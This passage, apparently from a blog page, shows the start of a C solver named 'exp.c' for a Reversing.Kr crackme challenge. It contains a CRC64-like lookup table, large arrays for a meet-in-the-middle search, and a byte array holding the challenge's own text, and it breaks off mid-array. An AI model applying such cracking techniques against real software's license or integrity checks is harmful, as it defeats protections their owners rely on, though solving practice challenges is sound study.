class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*************************************************************************</span></span><br><span class="line"><span class="comment">&gt; File Name: exp.c</span></span><br><span class="line"><span class="comment">&gt; Author: l1b0 </span></span><br><span class="line"><span class="comment">&gt; Mail: ...</span></span><br><span class="line"><span class="comment">&gt; Created Time: 2019年11月30日 星期六 16时09分51秒</span></span><br><span class="line"><span class="comment"> ************************************************************************/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ll unsigned long long</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> uc unsigned char</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">result</span>&#123;</span></span><br><span class="line">    ll v;</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">char</span> ss[<span class="number">4</span>];</span><br><span class="line">&#125;res;</span><br><span class="line"></span><br><span class="line">res result1[<span class="number">81450626</span>], result2[<span class="number">81450626</span>];</span><br><span class="line"></span><br><span class="line">ll dword_4085E8[<span class="number">256</span>] = &#123;</span><br><span class="line">    <span class="number">0x0</span>, <span class="number">0xB32E4CBE03A75F6F</span>, <span class="number">0xF4843657A840A05B</span>, <span class="number">0x47AA7AE9ABE7FF34</span>, <span class="number">0x7BD0C384FF8F5E33</span>, <span class="number">0xC8FE8F3AFC28015C</span>, <span class="number">0x8F54F5D357CFFE68</span>, <span class="number">0x3C7AB96D5468A107</span>,</span><br><span class="line"><span class="number">0xF7A18709FF1EBC66</span>, <span class="number">0x448FCBB7FCB9E309</span>, <span class="number">0x325B15E575E1C3D</span>, <span class="number">0xB00BFDE054F94352</span>, <span class="number">0x8C71448D0091E255</span>, <span class="number">0x3F5F08330336BD3A</span>, <span class="number">0x78F572DAA8D1420E</span>, <span class="number">0xCBDB3E64AB761D61</span>,</span><br><span class="line"><span class="number">0x7D9BA13851336649</span>, <span class="number">0xCEB5ED8652943926</span>, <span class="number">0x891F976FF973C612</span>, <span class="number">0x3A31DBD1FAD4997D</span>, <span class="number">0x64B62BCAEBC387A</span>, <span class="number">0xB5652E02AD1B6715</span>, <span class="number">0xF2CF54EB06FC9821</span>, <span class="number">0x41E11855055BC74E</span>,</span><br><span class="line"><span class="number">0x8A3A2631AE2DDA2F</span>, <span class="number">0x39146A8FAD8A8540</span>, <span class="number">0x7EBE1066066D7A74</span>, <span class="number">0xCD905CD805CA251B</span>, <span class="number">0xF1EAE5B551A2841C</span>, <span class="number">0x42C4A90B5205DB73</span>, <span class="number">0x56ED3E2F9E22447</span>, <span class="number">0xB6409F5CFA457B28</span>,</span><br><span class="line"><span class="number">0xFB374270A266CC92</span>, <span class="number">0x48190ECEA1C193FD</span>, <span class="number">0xFB374270A266CC9</span>, <span class="number">0xBC9D3899098133A6</span>, <span class="number">0x80E781F45DE992A1</span>, <span class="number">0x33C9CD4A5E4ECDCE</span>, <span class="number">0x7463B7A3F5A932FA</span>, <span class="number">0xC74DFB1DF60E6D95</span>,</span><br><span class="line"><span class="number">0xC96C5795D7870F4</span>, <span class="number">0xBFB889C75EDF2F9B</span>, <span class="number">0xF812F32EF538D0AF</span>, <span class="number">0x4B3CBF90F69F8FC0</span>, <span class="number">0x774606FDA2F72EC7</span>, <span class="number">0xC4684A43A15071A8</span>, <span class="number">0x83C230AA0AB78E9C</span>, <span class="number">0x30EC7C140910D1F3</span>,</span><br><span class="line"><span class="number">0x86ACE348F355AADB</span>, <span class="number">0x3582AFF6F0F2F5B4</span>, <span class="number">0x7228D51F5B150A80</span>, <span class="number">0xC10699A158B255EF</span>, <span class="number">0xFD7C20CC0CDAF4E8</span>, <span class="number">0x4E526C720F7DAB87</span>, <span class="number">0x9F8169BA49A54B3</span>, <span class="number">0xBAD65A25A73D0BDC</span>,</span><br><span class="line"><span class="number">0x710D64410C4B16BD</span>, <span class="number">0xC22328FF0FEC49D2</span>, <span class="number">0x85895216A40BB6E6</span>, <span class="number">0x36A71EA8A7ACE989</span>, <span class="number">0xADDA7C5F3C4488E</span>, <span class="number">0xB9F3EB7BF06317E1</span>, <span class="number">0xFE5991925B84E8D5</span>, <span class="number">0x4D77DD2C5823B7BA</span>,</span><br><span class="line"><span class="number">0x64B62BCAEBC387A1</span>, <span class="number">0xD7986774E864D8CE</span>, <span class="number">0x90321D9D438327FA</span>, <span class="number">0x231C512340247895</span>, <span class="number">0x1F66E84E144CD992</span>, <span class="number">0xAC48A4F017EB86FD</span>, <span class="number">0xEBE2DE19BC0C79C9</span>, <span class="number">0x58CC92A7BFAB26A6</span>,</span><br><span class="line"><span class="number">0x9317ACC314DD3BC7</span>, <span class="number">0x2039E07D177A64A8</span>, <span class="number">0x67939A94BC9D9B9C</span>, <span class="number">0xD4BDD62ABF3AC4F3</span>, <span class="number">0xE8C76F47EB5265F4</span>, <span class="number">0x5BE923F9E8F53A9B</span>, <span class="number">0x1C4359104312C5AF</span>, <span class="number">0xAF6D15AE40B59AC0</span>,</span><br><span class="line"><span class="number">0x192D8AF2BAF0E1E8</span>, <span class="number">0xAA03C64CB957BE87</span>, <span class="number">0xEDA9BCA512B041B3</span>, <span class="number">0x5E87F01B11171EDC</span>, <span class="number">0x62FD4976457FBFDB</span>, <span class="number">0xD1D305C846D8E0B4</span>, <span class="number">0x96797F21ED3F1F80</span>, <span class="number">0x2557339FEE9840EF</span>,</span><br><span class="line"><span class="number">0xEE8C0DFB45EE5D8E</span>, <span class="number">0x5DA24145464902E1</span>, <span class="number">0x1A083BACEDAEFDD5</span>, <span class="number">0xA9267712EE09A2BA</span>, <span class="number">0x955CCE7FBA6103BD</span>, <span class="number">0x267282C1B9C65CD2</span>, <span class="number">0x61D8F8281221A3E6</span>, <span class="number">0xD2F6B4961186FC89</span>,</span><br><span class="line"><span class="number">0x9F8169BA49A54B33</span>, <span class="number">0x2CAF25044A02145C</span>, <span class="number">0x6B055FEDE1E5EB68</span>, <span class="number">0xD82B1353E242B407</span>, <span class="number">0xE451AA3EB62A1500</span>, <span class="number">0x577FE680B58D4A6F</span>, <span class="number">0x10D59C691E6AB55B</span>, <span class="number">0xA3FBD0D71DCDEA34</span>,</span><br><span class="line"><span class="number">0x6820EEB3B6BBF755</span>, <span class="number">0xDB0EA20DB51CA83A</span>, <span class="number">0x9CA4D8E41EFB570E</span>, <span class="number">0x2F8A945A1D5C0861</span>, <span class="number">0x13F02D374934A966</span>, <span class="number">0xA0DE61894A93F609</span>, <span class="number">0xE7741B60E174093D</span>, <span class="number">0x545A57DEE2D35652</span>,</span><br><span class="line"><span class="number">0xE21AC88218962D7A</span>, <span class="number">0x5134843C1B317215</span>, <span class="number">0x169EFED5B0D68D21</span>, <span class="number">0xA5B0B26BB371D24E</span>, <span class="number">0x99CA0B06E7197349</span>, <span class="number">0x2AE447B8E4BE2C26</span>, <span class="number">0x6D4E3D514F59D312</span>, <span class="number">0xDE6071EF4CFE8C7D</span>,</span><br><span class="line"><span class="number">0x15BB4F8BE788911C</span>, <span class="number">0xA6950335E42FCE73</span>, <span class="number">0xE13F79DC4FC83147</span>, <span class="number">0x521135624C6F6E28</span>, <span class="number">0x6E6B8C0F1807CF2F</span>, <span class="number">0xDD45C0B11BA09040</span>, <span class="number">0x9AEFBA58B0476F74</span>, <span class="number">0x29C1F6E6B3E0301B</span>,</span><br><span class="line"><span class="number">0xC96C5795D7870F42</span>, <span class="number">0x7A421B2BD420502D</span>, <span class="number">0x3DE861C27FC7AF19</span>, <span class="number">0x8EC62D7C7C60F076</span>, <span class="number">0xB2BC941128085171</span>, <span class="number">0x192D8AF2BAF0E1E</span>, <span class="number">0x4638A2468048F12A</span>, <span class="number">0xF516EEF883EFAE45</span>,</span><br><span class="line"><span class="number">0x3ECDD09C2899B324</span>, <span class="number">0x8DE39C222B3EEC4B</span>, <span class="number">0xCA49E6CB80D9137F</span>, <span class="number">0x7967AA75837E4C10</span>, <span class="number">0x451D1318D716ED17</span>, <span class="number">0xF6335FA6D4B1B278</span>, <span class="number">0xB199254F7F564D4C</span>, <span class="number">0x2B769F17CF11223</span>,</span><br><span class="line"><span class="number">0xB4F7F6AD86B4690B</span>, <span class="number">0x7D9BA1385133664</span>, <span class="number">0x4073C0FA2EF4C950</span>, <span class="number">0xF35D8C442D53963F</span>, <span class="number">0xCF273529793B3738</span>, <span class="number">0x7C0979977A9C6857</span>, <span class="number">0x3BA3037ED17B9763</span>, <span class="number">0x888D4FC0D2DCC80C</span>,</span><br><span class="line"><span class="number">0x435671A479AAD56D</span>, <span class="number">0xF0783D1A7A0D8A02</span>, <span class="number">0xB7D247F3D1EA7536</span>, <span class="number">0x4FC0B4DD24D2A59</span>, <span class="number">0x3886B22086258B5E</span>, <span class="number">0x8BA8FE9E8582D431</span>, <span class="number">0xCC0284772E652B05</span>, <span class="number">0x7F2CC8C92DC2746A</span>,</span><br><span class="line"><span class="number">0x325B15E575E1C3D0</span>, <span class="number">0x8175595B76469CBF</span>, <span class="number">0xC6DF23B2DDA1638B</span>, <span class="number">0x75F16F0CDE063CE4</span>, <span class="number">0x498BD6618A6E9DE3</span>, <span class="number">0xFAA59ADF89C9C28C</span>, <span class="number">0xBD0FE036222E3DB8</span>, <span class="number">0xE21AC88218962D7</span>,</span><br><span class="line"><span class="number">0xC5FA92EC8AFF7FB6</span>, <span class="number">0x76D4DE52895820D9</span>, <span class="number">0x317EA4BB22BFDFED</span>, <span class="number">0x8250E80521188082</span>, <span class="number">0xBE2A516875702185</span>, <span class="number">0xD041DD676D77EEA</span>, <span class="number">0x4AAE673FDD3081DE</span>, <span class="number">0xF9802B81DE97DEB1</span>,</span><br><span class="line"><span class="number">0x4FC0B4DD24D2A599</span>, <span class="number">0xFCEEF8632775FAF6</span>, <span class="number">0xBB44828A8C9205C2</span>, <span class="number">0x86ACE348F355AAD</span>, <span class="number">0x34107759DB5DFBAA</span>, <span class="number">0x873E3BE7D8FAA4C5</span>, <span class="number">0xC094410E731D5BF1</span>, <span class="number">0x73BA0DB070BA049E</span>,</span><br><span class="line"><span class="number">0xB86133D4DBCC19FF</span>, <span class="number">0xB4F7F6AD86B4690</span>, <span class="number">0x4CE50583738CB9A4</span>, <span class="number">0xFFCB493D702BE6CB</span>, <span class="number">0xC3B1F050244347CC</span>, <span class="number">0x709FBCEE27E418A3</span>, <span class="number">0x3735C6078C03E797</span>, <span class="number">0x841B8AB98FA4B8F8</span>,</span><br><span class="line"><span class="number">0xADDA7C5F3C4488E3</span>, <span class="number">0x1EF430E13FE3D78C</span>, <span class="number">0x595E4A08940428B8</span>, <span class="number">0xEA7006B697A377D7</span>, <span class="number">0xD60ABFDBC3CBD6D0</span>, <span class="number">0x6524F365C06C89BF</span>, <span class="number">0x228E898C6B8B768B</span>, <span class="number">0x91A0C532682C29E4</span>,</span><br><span class="line"><span class="number">0x5A7BFB56C35A3485</span>, <span class="number">0xE955B7E8C0FD6BEA</span>, <span class="number">0xAEFFCD016B1A94DE</span>, <span class="number">0x1DD181BF68BDCBB1</span>, <span class="number">0x21AB38D23CD56AB6</span>, <span class="number">0x9285746C3F7235D9</span>, <span class="number">0xD52F0E859495CAED</span>, <span class="number">0x6601423B97329582</span>,</span><br><span class="line"><span class="number">0xD041DD676D77EEAA</span>, <span class="number">0x636F91D96ED0B1C5</span>, <span class="number">0x24C5EB30C5374EF1</span>, <span class="number">0x97EBA78EC690119E</span>, <span class="number">0xAB911EE392F8B099</span>, <span class="number">0x18BF525D915FEFF6</span>, <span class="number">0x5F1528B43AB810C2</span>, <span class="number">0xEC3B640A391F4FAD</span>,</span><br><span class="line"><span class="number">0x27E05A6E926952CC</span>, <span class="number">0x94CE16D091CE0DA3</span>, <span class="number">0xD3646C393A29F297</span>, <span class="number">0x604A2087398EADF8</span>, <span class="number">0x5C3099EA6DE60CFF</span>, <span class="number">0xEF1ED5546E415390</span>, <span class="number">0xA8B4AFBDC5A6ACA4</span>, <span class="number">0x1B9AE303C601F3CB</span>,</span><br><span class="line"><span class="number">0x56ED3E2F9E224471</span>, <span class="number">0xE5C372919D851B1E</span>, <span class="number">0xA26908783662E42A</span>, <span class="number">0x114744C635C5BB45</span>, <span class="number">0x2D3DFDAB61AD1A42</span>, <span class="number">0x9E13B115620A452D</span>, <span class="number">0xD9B9CBFCC9EDBA19</span>, <span class="number">0x6A978742CA4AE576</span>,</span><br><span class="line"><span class="number">0xA14CB926613CF817</span>, <span class="number">0x1262F598629BA778</span>, <span class="number">0x55C88F71C97C584C</span>, <span class="number">0xE6E6C3CFCADB0723</span>, <span class="number">0xDA9C7AA29EB3A624</span>, <span class="number">0x69B2361C9D14F94B</span>, <span class="number">0x2E184CF536F3067F</span>, <span class="number">0x9D36004B35545910</span>,</span><br><span class="line"><span class="number">0x2B769F17CF112238</span>, <span class="number">0x9858D3A9CCB67D57</span>, <span class="number">0xDFF2A94067518263</span>, <span class="number">0x6CDCE5FE64F6DD0C</span>, <span class="number">0x50A65C93309E7C0B</span>, <span class="number">0xE388102D33392364</span>, <span class="number">0xA4226AC498DEDC50</span>, <span class="number">0x170C267A9B79833F</span>,</span><br><span class="line"><span class="number">0xDCD7181E300F9E5E</span>, <span class="number">0x6FF954A033A8C131</span>, <span class="number">0x28532E49984F3E05</span>, <span class="number">0x9B7D62F79BE8616A</span>, <span class="number">0xA707DB9ACF80C06D</span>, <span class="number">0x14299724CC279F02</span>, <span class="number">0x5383EDCD67C06036</span>, <span class="number">0xE0ADA17364673F59</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">uc s[<span class="number">256</span>] = &#123;</span><br><span class="line"><span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x48</span>, <span class="number">0x65</span>, <span class="number">0x6C</span>, <span class="number">0x6C</span>, <span class="number">0x6F</span>, <span class="number">0x5F</span>, <span class="number">0x5F</span>, <span class="number">0x5F</span>, <span class="number">0x57</span>, <span class="number">0x65</span>, <span class="number">0x6C</span>, <span class="number">0x63</span>, <span class="number">0x6F</span>, <span class="number">0x6D</span>,</span><br><span class="line"><span class="number">0x65</span>, <span class="number">0x20</span>, <span class="number">0x54</span>, <span class="number">0x6F</span>, <span class="number">0x20</span>, <span class="number">0x52</span>, <span class="number">0x65</span>, <span class="number">0x76</span>, <span class="number">0x65</span>, <span class="number">0x72</span>, <span class="number">0x73</span>, <span class="number">0x69</span>, <span class="number">0x6E</span>, <span class="number">0x67</span>, <span class="number">0x2E</span>, <span class="number">0x4B</span>,</span><br><span class="line"><span class="number">0x72</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x5F</span>, <span class="number">0x54</span>, <span class="number">0x68</span>, <span class="number">0x65</span>, <span class="number">0x20</span>, <span class="number">0x69</span>, <span class="number">0x64</span>, <span class="number">0x65</span>, <span class="number">0x61</span>, <span class="number">0x20</span>, <span class="number">0x6F</span>, <span class="number">0x66</span>, <span class="number">0x20</span>,</span><br><span class="line"><span class="number">0x74</span>, <span class="number">0x68</span>, <span class="number">0x65</span>, <span class="number">0x20</span>, <span class="number">0x61</span>, <span class="number">0x6C</span>, <span class="number">0x67</span>, <span class="number">0x6F</span>, <span class="number">0x72</span>, <span class="number">0x69</span>, <span class="number">0x74</span>, <span class="number">0x68</span>, <span class="number">0x6D</span>, <span class="number">0x20</span>, <span class="number">0x63</span>, <span class="number">0x61</span>,</span><br><span class="line"><span class="number">0x6D</span>, <span class="number">0x65</span>, <span class="number">0x20</span>, <span class="number">0x6F</span>, <span class="number">0x75</span>, <span class="number">0x74</span>, <span class="number">0x20</span>, <span class="number">0x6F</span>, <span class="number">0x66</span>, <span class="number">0x20</span>, <span class="number">0x74</span>, <span class="number">0x68</span>, <span class="number">0x65</span>, <span class="number">0x20</span>, <span class="number">0x63</span>, <span class="number">0x6F</span>,</span><br><span class="line"><span class="number">0x64</span>, <span class="number">0x65</span>, <span class="number">0x65</span>, <span class="number">0x6E</span>, <span class="number">0x67</span>, <span class="number">0x6E</span>, <span class="number">0x20</span>, <span class="number">0x63</span>, <span class="number">0x68</span>, <span class="number">0x61</span>, <span class="number">0x6C</span>, <span class="number">0x6C</span>, <span class="number">0x65</span>, <span class="number">0x6E</span>, <span class="number">0x67</span>, <span class="number">0x65</span>,</span><br><span class="line"><span class="number">0x5F</span>, <span class="number">0x5F</span>, <span class="number">0x54</span>, <span class="number">0x68</span>, <span class="number">0x69</span>, <span class="number">0x73</span>, <span class="number">0x20</span>, <span class="number">0x61</span>, <span class="number">0x6C</span>, <span class="number">0x67</span>, <span class="number">0x6F</span>, <span class="number">0x72</span>, <span class="number">0x69</span>, <span class="number">0x74</span>, <span class="number">0x68</span>, <span class="number">0x6D</span>,</span><br><span class="line"><span class="number">0x20</span>, <span class="number">0x76</span>, <span class="number">0x65</span>, <span class="number">0x72</span>, <span class="number">0x79</span>, <span class="number">0x20</span>, <span class="number">0x46</span>, <span class="number">0x58</span>, <span class="number">0x43</span>, <span class="number">0x4B</span>, <span class="number">0x5F</span>, <span class="number">0x5F</span>, <span class="number">0x42</span>, <span class="number">0x75</span>, <span class="number">0x74</span>, <span class="number">0x20</span>,</span><br><span class="line"><span class="number">0x79</span>, <span class="number">0x6F</span>, <span class="number">0x75</span>, <span class="number">0x20</span>, <span class="number">0x63</span>, <span class="number">0x61</span>, <span class="number">0x6E</span>, <span class="number">0x20</span>, <span class="number">0x73</span>, <span class="number">0x6F</span>, <span class="number">0x6C</span>, <span class="number">0x76</span>, <span class="number">0x65</span>, <span class="number">0x20</span>, <span class="number">0x69</span>, <span class="number">0x74</span>,</span><br><span class="line"><span class="number">0x21</span>, <span class="number">0x21</span>, <span class="number">0x5F</span>, <span class="number">0x5F</span>, <span class="number">0x49</span>, <span class="number">0x6D</span>, <span class="number">0x70</span>, <span class="number">0x6F</span>, <span class="number">0x73</span>, <span class="number">0x73</span>, <span class="number">0x69</span>, <span class="number">0x62</span>, <span class="number">0x6C</span>, <span class="number">0x65</span>, <span class="number">0x20</span>, <span class="number">0x69</span>,</span><br><span class="line"><span class="number">0x73</span>, <span class="number">0x20</span>, <span class="number">0x49</span>, <span class="number">0x6D</span>, <span class="number">0x70</span>, <span class="number">0x6F</span>, <span class="number">0x73</span>, <span class="number">0x73</span>, <span class="number">0x69</span>, <span class="number">0x62</span>, <span class="number">0x6C</span>, <span class="number">0x65</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>,</span><br><span class="line"><span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>,</span><br><span class="line"><span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>,</span><br><span class="line"><span class="number">0xE7</span>, <span class="number">0x51</span>, <span class="number">0xDE</span>, <span class="number">0x35</span>, <span class="number">0xA3</span>, <span class="number">0x13</span>, <span class="number">0x90</span>, <span class="number">0x2E</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>,</span><br><span class="line"><span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>,</span><br><span class="line"><span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x5D</span>, <span class="number">0x5F</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x5F</span>, <span class="number">0x5B</span>, <span class="number">0x00</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">uc reverse_i[<span class="number">256</span>] = &#123;</span><br><span class="line">    <span class="number">0</span>, <span class="number">133</span>, <span class="number">143</span>, <span class="number">10</span>, <span class="number">155</span>, <span class="number">30</span>, <span class="number">20</span>, <span class="number">145</span>, <span class="number">179</span>, <span class="number">54</span>, <span class="number">60</span>, <span class="number">185</span>, <span class="number">40</span>, <span class="number">173</span>, <span class="number">167</span>, <span class="number">34</span>, <span class="number">102</span>, <span class="number">227</span>, <span class="number">233</span>, <span class="number">108</span>, <span class="number">253</span>, <span class="number">120</span>, <span class="number">114</span>, <span class="number">247</span>, <span class="number">213</span>, <span class="number">80</span>, <span class="number">90</span>, <span class="number">223</span>, <span class="number">78</span>, <span class="number">203</span>, <span class="number">193</span>, <span class="number">68</span>, <span class="number">73</span>, <span class="number">204</span>, <span class="number">198</span>, <span class="number">67</span>, <span class="number">210</span>, <span class="number">87</span>, <span class="number">93</span>, <span class="number">216</span>, <span class="number">250</span>, <span class="number">127</span>, <span class="number">117</span>, <span class="number">240</span>, <span class="number">97</span>, <span class="number">228</span>, <span class="number">238</span>, <span class="number">107</span>, <span class="number">47</span>, <span class="number">170</span>, <span class="number">160</span>, <span class="number">37</span>, <span class="number">180</span>, <span class="number">49</span>, <span class="number">59</span>, <span class="number">190</span>, <span class="number">156</span>, <span class="number">25</span>, <span class="number">19</span>, <span class="number">150</span>, <span class="number">7</span>, <span class="number">130</span>, <span class="number">136</span>, <span class="number">13</span>, <span class="number">146</span>, <span class="number">23</span>, <span class="number">29</span>, <span class="number">152</span>, <span class="number">9</span>, <span class="number">140</span>, <span class="number">134</span>, <span class="number">3</span>, <span class="number">33</span>, <span class="number">164</span>, <span class="number">174</span>, <span class="number">43</span>, <span class="number">186</span>, <span class="number">63</span>, <span class="number">53</span>, <span class="number">176</span>, <span class="number">244</span>, <span class="number">113</span>, <span class="number">123</span>, <span class="number">254</span>, <span class="number">111</span>, <span class="number">234</span>, <span class="number">224</span>, <span class="number">101</span>, <span class="number">71</span>, <span class="number">194</span>, <span class="number">200</span>, <span class="number">77</span>, <span class="number">220</span>, <span class="number">89</span>, <span class="number">83</span>, <span class="number">214</span>, <span class="number">219</span>, <span class="number">94</span>, <span class="number">84</span>, <span class="number">209</span>, <span class="number">64</span>, <span class="number">197</span>, <span class="number">207</span>, <span class="number">74</span>, <span class="number">104</span>, <span class="number">237</span>, <span class="number">231</span>, <span class="number">98</span>, <span class="number">243</span>, <span class="number">118</span>, <span class="number">124</span>, <span class="number">249</span>, <span class="number">189</span>, <span class="number">56</span>, <span class="number">50</span>, <span class="number">183</span>, <span class="number">38</span>, <span class="number">163</span>, <span class="number">169</span>, <span class="number">44</span>, <span class="number">14</span>, <span class="number">139</span>, <span class="number">129</span>, <span class="number">4</span>, <span class="number">149</span>, <span class="number">16</span>, <span class="number">26</span>, <span class="number">159</span>, <span class="number">36</span>, <span class="number">161</span>, <span class="number">171</span>, <span class="number">46</span>, <span class="number">191</span>, <span class="number">58</span>, <span class="number">48</span>, <span class="number">181</span>, <span class="number">151</span>, <span class="number">18</span>, <span class="number">24</span>, <span class="number">157</span>, <span class="number">12</span>, <span class="number">137</span>, <span class="number">131</span>, <span class="number">6</span>, <span class="number">66</span>, <span class="number">199</span>, <span class="number">205</span>, <span class="number">72</span>, <span class="number">217</span>, <span class="number">92</span>, <span class="number">86</span>, <span class="number">211</span>, <span class="number">241</span>, <span class="number">116</span>, <span class="number">126</span>, <span class="number">251</span>, <span class="number">106</span>, <span class="number">239</span>, <span class="number">229</span>, <span class="number">96</span>, <span class="number">109</span>, <span class="number">232</span>, <span class="number">226</span>, <span class="number">103</span>, <span class="number">246</span>, <span class="number">115</span>, <span class="number">121</span>, <span class="number">252</span>, <span class="number">222</span>, 